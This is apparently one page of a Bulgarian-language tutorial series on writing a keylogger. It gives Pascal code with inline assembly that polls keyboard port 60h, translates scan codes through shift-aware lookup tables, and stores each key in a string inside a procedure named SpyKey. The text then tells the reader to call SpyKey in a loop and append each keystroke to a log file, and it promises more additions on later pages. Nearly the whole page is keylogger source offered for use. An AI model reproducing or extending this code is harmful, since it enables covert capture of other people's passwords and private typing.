Започваме със основата - как хващаме копчето :

{nujnite za primera globalni promenlivi}
var
  Key, OldKey: Byte;
  LShiftUp, RShiftUp: Boolean;
  St: string;

{tablici sus string-ovete za kopchetata}
const
  
Low: array[1..88] of string = (
    ' Esc ','1','2','3','4','5','6','7','8','9','0','-','=',' BkSp ',
    ' Tab ','q','w','e','r','t','y','u','i','o','p','[',']',
    ' Enter ',' Ctrl ','a','s','d','f','g','h','j','k','l',';','''','`',
    ' LShift+ ','\','z','x','c','v','b','n','m',',','.','/',' RShift+ ',
    ' Pad* ',' Alt ',' Space ',' CAPS ',
    ' F1 ',' F2 ',' F3 ',' F4 ',' F5 ',' F6 ',' F7 ',' F8 ',' F9 ',' F10 ',
    ' NUM ',' SCROLL ',' Home ',' Up ',' PgUp ',' Pad- ',' Left ',' *5* ',' Right ',
    ' Pad+ ',' End ',' Down ',' PgDown ',' Ins ',
    ' Del ',' -LShift ',' -RShift ',' Unknown ',' F11 ',' F12 ');

   Hi: array[1..88] of string = (
    ' Esc ','!','@','#','$','%','^','&','*','(',')','_','+',' BkSp ',
    ' Tab ','Q','W','E','R','T','Y','U','I','O','P','{','}',
    ' Enter ',' Ctrl ','A','S','D','F','G','H','J','K','L',':','"','~',
    ' LShift+ ','|','Z','X','C','V','B','N','M','<','>','?',' RShift+ ',
    ' Pad* ',' Alt ',' Space ',' CAPS ',
    ' F1 ',' F2 ',' F3 ',' F4 ',' F5 ',' F6 ',' F7',' F8',' F9 ',' F10 ',
    ' NUM ',' SCROLL ',' Home ',' Up ',' PgUp ',' Pad- ',' Left ',' *5* ',' Right ',
    ' Pad+ ',' End ',' Down ',' PgDown ',' Ins ',
    ' Del ',' -LShift ',' -RShift ',' Unknown ',' F11 ',' F12 ');

{tova tuk e osnovniq cikul deto prihvashta novo kopche}
procedure SpyKey;
begin
  asm
    in al, 60h {kopcheto vuv al}
    mov Key, al {al vuv Key}
  end;

  {malko obrabotka na Key, za da se vidi sustoqnieto na shift}
  if Key = 170 then
  begin
    Key := 84;
    LShiftUp := true;
  end;
  if Key = 182 then
  begin
    Key := 85;
    RShiftUp := true;
  end;
  if Key = 42 then LShiftUp := false;
  if Key = 54 then RShiftUp := false;

  if Key <> OldKey then
  {ako kopcheto e razlichno ot staroto togava...}
  begin
    OldKey:=Key; {novoto kopche vuv Oldkey}
    if Key<=88 then {ako e natisnato kopche}
    begin
      if LShiftUp and RShiftUp then
        St:=Low[Key] {nqma shift => vzemi ot tablicata low}
        else St:=Hi[Key]; {ima shift => vzemi ot tablicata hi}
    end
      else if Key - 128 <= 88 then {ako e otpusnato kopche}
    begin
    if LShiftUp and RShiftUp then
      St:=Low[Key - 128] {nqma => shift vzemi ot tablicata low}
      else St:=Hi[Key - 128]; {ima => shift vzemi ot tablicata hi}
    end;
  end;

end;

  Това е !! В момента в St имате string-а на натиснатото копче. Задачата е в някакъв цикъл да извиквате SpyKey и да добавяте копчето във log файла.

  Другите добавки по-нататък...

назад
начало
напред